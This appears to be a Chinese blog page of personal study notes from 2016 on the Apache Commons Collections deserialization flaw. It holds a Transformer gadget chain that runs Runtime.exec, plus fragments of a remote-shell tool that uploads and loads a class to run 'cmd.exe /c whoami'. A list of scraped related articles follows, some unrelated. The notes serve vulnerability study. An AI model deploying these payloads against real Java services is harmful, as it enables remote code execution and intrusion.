20160509-有一次整理下Java apache commons那个反序列化漏洞的原理

UI.class->GetShellWL.Connect(Host, Port);

就是反序列化的类

创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:

接口:

public interface InitApp extends java.rmi.Remote {

String runCmd(String cmd) ;

String putFile(String Content,String Path);

}

上传后再注册

byte[] Payload = GenPayload.Gen("Windows", b);

SendPayload.Send(Host, Port, Payload);

getOutputStream 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。

===========================================================================================================================================

byte[] Payload = First_Payload.Gen_FirstPayload("Windows");

Transformer[] transformers = { }漏洞利用

//上传二进制代码

上传到程序运行的当前目录下面,一句话代码:new FileOutputStream("./payload.class").write(new byte[]{0xXX,0xXX,……})

下面执行一句代码:

java.net.URLClassLoader.getConstructor(java.net.URL[].class).newInstance(new java.net.URL[] {new java.net.URL("file:./")}).loadClass("payload").newInstance("cmd.exe /c whoami")

=============================================================================================================================================

关键函数JAVA反射机制:

getClass()

clz.getMethod("foo", String.class)

测试代码:

@SuppressWarnings({"rawtypes", "unchecked"})

public class VulTest {

public static void main(String[] args) {

Transformer transform = new InvokerTransformer( //InvokerTransformer对象,调用了transform

"append",

new Class[]{String.class},

new Object[]{"exploitcat?"});

Object newObject = transform.transform(new StringBuffer("your name is ")) ;

System.out.println(newObject);

}

}

测试代码1:

public class TransformTest {

public static void main(String[] args) {

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class), //绿盟是java.net.URLClassLoader.class

new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, //绿盟是getConstructor;java.lang.Class.getConstructor() 方法返回一个Constructor对象

new Object[]{"getRuntime", new Class[0]}), //绿盟是newInstance

new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, //绿盟是loadClass

new Object[]{null, new Object[0]}),

new InvokerTransformer("exec", new Class[]{String.class},  //绿盟是getMethod

new Object[]{"calc"})

};

// 绿盟还多了一个invoke

Transformer chain = new ChainedTransformer(transformers) ;

Map innerMap = new HashMap() ;

innerMap.put("name", "hello") ;

Map outerMap = TransformedMap.decorate(innerMap, null, chain) ; //decorate方法

Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;

elEntry.setValue("hello") ; //entry 对象调用 setValue 时,执行的 checkSetValue.至于为什么呢? 你只要知道,setValue之前需要checkSetValue... 看名字就知道了.打个比方例如php的login()的时候会调用Checklogin()来判断,有时候换个方式来理解下下2333.

}

}

调用这些 transform 方法的是一个叫 TransformedMap 的类的 decorate 方法.

看看 decorate 方法干嘛的.

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){

return new TransformedMap(map, keyTransformer, valueTransformer);

}

解析:第一个就是Map对象->innerMap;第二个不晓得;第三个Transformer->chain(应该是key/value里面的value)

=====================================================================================================

InvokerTransformer transform有问题

两个漏洞触发:

TransformedMap checkSetValue(Object)触发

LazyMap.get(Object)触发

sun.reflect.annotation.AnnotationInvocationHandler

LazyMap.get:

不确认是否对:LazyMap.get->TransformedMap.decorate->sun.reflect.annotation.AnnotationInvocationHandler

对象就是实例化的一个类

文章说法:

这里大家应该能明白老外为什么要用动态代理来进行构造POC了

因为AnnotationInvocationHandler默认实现了 InvocationHandler 接口

在用 Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler) 生成动态代理后

当对象 iswin 在进行对象调用时,那么就会调用 InvocationHandler.invoke(xx) 方法

所以POC的执行流程为 map.xx->proxy(Map).invoke->lazymap.get(xx)就会触发 transform 方法从而执行恶意代码。

这里的 ChainedTransformer 为链式的 Transformer ,会挨个执行我们定义的 Transformer ,这里比较简单,有兴趣自己去看源码就知道。

TransformedMap checkSetValue:

文章说的

所以这里POC执行流程为 TransformedMap -> AnnotationInvocationHandler.readObject() -> setValue() -> checkSetValue() 漏洞成功触发.

checkSetValue和setValue

http://drops.wooyun.org/papers/10467

http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/

https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

时间: 2024-08-09 19:54:07

20160509-有一次整理下Java apache commons那个反序列化漏洞的原理的相关文章

重现apache commons fileupload DOS漏洞

新国九公布后,市场对股市的预期有了变化,股市出现了一波反弹.不过,出人意料的是,反弹的主角并非大家一致公认受益于政策的券商股,而是有色金属与煤炭板块.市场人士认为,除了镍,今年初被印尼实施禁止原矿出口政策,尚有涨幅空间之外,其他有色股或将只有一日游行情,必难有持续上涨之可能. 专家们认为最近之所以出现的"煤飞色舞"的行情,原因有二:一方面近几年下来,有色煤炭的股价已经跌得比较低.累计跌幅巨大,遇到利好总会有一些资金愿意尝试做反弹:另一方面中国经济的持续低迷,这种状况历史上一般不会长期存

Apache Commons IO入门教程(转)

Apache Commons IO是Apache基金会创建并维护的Java函数库.它提供了许多类使得开发者的常见任务变得简单,同时减少重复(boiler-plate)代码,这些代码可能遍布于每个独立的项目中,你却不得不重复的编写.这些类由经验丰富的开发者维护,对各种问题的边界条件考虑周到,并持续修复相关bug. 在下面的例子中,我们会向你演示一些不同功能的方法,这些功能都是在org.apache.commons.io包下.Apache Commons IO 是一个巨大工程,我们不会深入去剖析它的

【整理】Java 8新特性总结

闲语: 相比于今年三月份才发布的Java 10 ,发布已久的Java 8 已经算是老版本了(传闻Java 11将于9月25日发布....).然而很多报道表明:Java 9 和JJava10不是 LTS 版本,和过去的 Java 大版本升级不同,它们只有半年左右的开发和维护期.而未来的 Java11,也就是 18.9 LTS,才是 Java 8 之后第一个 LTS 版本(得到 Oracle 等商业公司的长期支持服务).所以Java 8 就成了最新的一次LTS版本升级,这也是为什么Java开发者对J

Java多层目录打包和解压代码(apache commons compress, io, lang)

Java多层目录打包和解压代码(apache commons compress, io, lang) package zip;   import java.io.BufferedOutputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.Fil

java.lang.ClassNotFoundException: org.apache.commons.dbcp.BasicDataSource解决方法

java.lang.ClassNotFoundException: org.apache.commons.dbcp.BasicDataSource解决方法 只需把这三个commons-pool.jar.commons-dbcp-1.2.2.jar和commons-collections-3.2.jar包加入到lib里即可解决.这三个包在你本地的tomcat下的lib里,直接buildpath导入就行了,不过有时导包不一定好使,是因为工程lib下的包跟tomcat下的包重复了,导致异常错误如: o

Java 利用Apache Commons Net 实现 FTP文件上传下载

package woxingwosu; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.Comparator;

整理:java定时器。

本文纯属个人思路,如有错误,请指正. java的Timer依赖Thread,每一个Timer实际上都是一个Thread. ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.util.TimerTask; /**  * 本类仅为实现TimerTask,意义不大.  * @author 9082046**@qq.com  *  */ public class Task  extends TimerTask {       public void run()

【转】国外程序员整理的Java资源大全

Java几乎是许多程序员们的入门语言,并且也是世界上非常流行的编程语言.国外程序员Andreas Kull在其Github上整理了非常优秀的Java开发资源,推荐给大家.译文由ImportNew- 唐尤华翻译完成. 以下为具体资源列表. 构建 这里搜集了用来构建应用程序的工具. Apache Maven:Maven使用声明进行构建并进行依赖管理,偏向于使用约定而不是配置进行构建.Maven优于Apache Ant.后者采用了一种过程化的方式进行配置,所以维护起来相当困难. Gradle:Grad

Caused by: java.lang.NoClassDefFoundError: org/apache/commons/lang/exception/NestableRuntimeException

转载:http://www.tuicool.com/articles/Vvia6f 缺少相应jar包都会有异常,根据异常找jar包导入...... 这里我说下lang包,因为这个包我找了好半天: 我用的是: commons-lang3-3.1.jar  出现异常: java.lang.NoClassDefFoundError: org/apache/commons/lang/exception/NestableRuntimeException 可以看出是因为缺少jar包,但是很明显我已经导入了,